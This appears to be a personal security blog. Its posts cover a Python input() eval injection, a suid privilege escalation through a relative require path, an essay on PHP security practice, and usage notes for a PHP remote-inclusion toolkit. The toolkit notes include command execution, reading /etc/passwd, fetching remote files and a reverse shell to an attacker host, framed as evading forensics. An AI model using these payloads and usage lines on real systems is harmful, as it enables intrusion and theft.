Xavier's Security Post
Python + input() fun
As written from the Python manual:
input([prompt])
Equivalent to eval(raw_input(prompt)). Warning: This function is not safe from user errors! It expects a valid Python expression as input; if the input is not syntactically valid, a SyntaxError will be raised. Other exceptions may be raised if there is an error during evaluation. So, it simply evaluates incoming input, and will error if it does not comform to proper syntax. Have you ever logged into a server and got faced with a nologin script some admin wrote to remind you that money is owed on the account? or to request shell access?
If you put in: "import os; os.system('touch /tmp/peepee')", you will most likely see an ugly exception being rased:
Traceback (most recent call last):
File "", line 1, in ?
File "", line 1
import os; os.system('touch /tmp/peepee')
^
SyntaxError: invalid syntaxLame! no spaces can be used in the evaluated code. Hmm. Ley's try a dynamic import: "__import__('os').system('touch /tmp/peepee')". Oh, that worked. I'm not sure wether or not the fact dynamic imports+executions are a feature or just some strange bug in input() but if imports of modules and executions were planned through input() it wouldn't have raised an exception on the attempts before. Unless, of course, it's some bug.
case in point #1
from time to time I'll throw up these "case in point" posts to talk a bit about holes that I've found in the current day. I'll leave the product names out, but it'll be an interesting read nonetheless.
so today I was doing a quick audit on an internal development box. it was once used for some extreme usage, but faded away into the network's obscure hidden world as soon as another solution jumped in the spotlight. in any case, the box was given to me to play with and try funky things.
before doing anything serious, I wanted to see how secure it was locally. it turns out there was a coorperate anti-virus product installed for scanning of incoming email. unfortunately it is coupled with some lame web interface that can be used by the administrator to do things from rebooting the box via web, or edit templates.
I noticed something odd though -- many of the scripts were executed via C-written and compiled suid wrappers. and their primary purpose is just to execute specific perl scripts. fine, we see (or saw) those kind of setups all the time -- it was no big deal. so I inspected the perl scripts to find they all shared a common line of code:
require "./filefullof.functions"ERROR!
thus here lies a very serious security hole. the coorperate software in question bundles a bunch of unnessesary perl scripts. then, these scripts are bundled with suid wrappers to assist them during executions. and finally, the perl scripts themselves call functions from another script improperly -- calling from a file in the current directory and not from an absolute one.
mhm. that's bad. in fact, one softlink later and rogue "./filefullof.functions" created -- you've just taken over an inheritance of suid.
advisory+exploit coming soon to a terminal near you!
some thoughts on web security (PHP)
Even before the whole register_globals mess, sites were being exploited in many more ways than one. And it seems to me that although there has been plenty of public disclosure, discussion, and finally penetration due to the carelessness in development, many PHP developers seem to lack coding practices that are needed to avoid the common security holes in todays web-based software.
There is a lot of documentation out there that site developers could use to improve upon their own coding practices -- but what perplexes me is that somehow after all the years of penetration, and people losing their jobs, and data being stolen, or data being destroyed, the situation stays the same. There are potentially millions of sites out there with some kind of security hole, from the highest level (code execute) to the lowest (sensitive data/path disclosure).
So, what is the solution?
Finding a solution for the problem will not be easy, because no matter what the situation; people will make mistakes. Proper coding practice must be established. Manuals, whitepapes, tutorials, books, ebooks, any document of any sort that discusses web development especially via an interpreted language like PHP, should contain valid examples of how to set variables and execute things properly, even in the case of PHP's register_globals being turned ON.
Open Source projects that rely on interpreted languages like PHP for example should be audited from the get go before any public releases are made. There should be some sort of public organization that with the assistance of several security-minded folks, can queue standard security audits via automation and finally before acceptance will audit the code manually to make sure nothing slipped through. Such an organization could be used to not only discover holes before they reach the public domain, but also educate the developers and the public about strange and odd vulnerabilities that might arise.
I understand that there are too many projects going on, and some projects are extremely large and may take some serious time to audit. But I'm sure a structure can be put together to handle the stress. Look at
OSVDB, they have an interesting setup where vulnerabilities will be passed along a group of security-minded individuals who will research the said vulnerability in the noted software, and to an extent either audit the software or verify the vulnerabilities are present.
Also, besides education and community wide auditing I also think that a warning system inside of PHP would be nice. I refer not to its exception handling, nor its error reporting but to a function that'll evaluate the code and disclose a warning to developers (during debugging most preferably) if any security flaws are possible.
Here is an example of a session between a developer and the PHP interpreter:
Server A has register_globals = ON. And safe mode is turned OFF.
Then, the developer writes something like the following:
... other code here ...
if ($GoingToBeIncluded) {
include($GoingToBeIncluded)
}
... other code here ...
PHP before executing evaluates this code, and brings up the red flag about possible remote inclusion vulnerabilities. It can also suggest a solution, in case the developer is a bit mature. A solution to the code above would be to assign the variable to an empty string, if its not meant to actually be executed maliciously.
I'm thinking such evaluation can be done within the scope of the lint function already within the PHP language. I bet it'll be a pain in someones ass to code, though. :)
ritk.php
(r)emote (i)nclusion (t)ool(k)it is a small php script I put together in use for
some remote inclusion auditing I was assigned to do. Surely there are numerous
scripts out there for similar usage, but I found many of them were badly coded.
Or were just over-coded. I also never really got into PHP coding too much, so it
was a perfect oppurtunity to try it out. You can grab it
here, and the following
reference of its functionalities:
features:
1) "ft" (function test)
desc: a command execution test, using 5 different functions.
usage: ?&ptk.php?&ft=1
optional: append "&ftc=COMMAND" after the ft variable. replace COMMAND with
a command. the default command used is "id".
2) execute a command.
desc: execute a specific command.
usage: ?&meth=METHOD&ftc=COMMAND
replace "METHOD" with the methods listed below.
3) remotely download and save a file to local disk.
desc: the title says it best.
usage: ?&saveas=/tmp/test&grab=http://site.tld/path/file
4) src show
desc: in case the php dist has safemode enabled, you can then rely
on file reading.
usage: ?&src=/etc/passwd
5) phpinfo
desc: sometimes you need to know some configuration details, and
phpinfo() suits that need.
usage: ?&pinfo=1
6) reverse shell
desc: on servers with php sockets enabled, you can utilize this feature to
possibly bypass any firewalls with strict incoming filters. this reverse
shell function is also cool because the php script is being executed
remotely, and thus no data is saved to the target's disk. thus forensic
investigations wouldn't be so useful in disclosing the reverse shell source.
but don't forget the http logs involved, duh.
usage: ?&rvs=1&rvsto=attacker.host.tld&rvsp=port-number
execution methods:
1) system()
2) exec()
3) passthru()
4) shell_exec()
5) popen()
there is much more to go.. :)
The formulation of my security insights
hej! I am finally putting this idea of mine together! well, as the blog description says -- this public space will be used for the output of my insights regarding all aspects of Security. I will post my ideas, thoughts, advisories (most likely those I am involved with), opinions, and so on. I don't expect much traffic, but for those who end up here somehow -- I do hope you enjoy the read.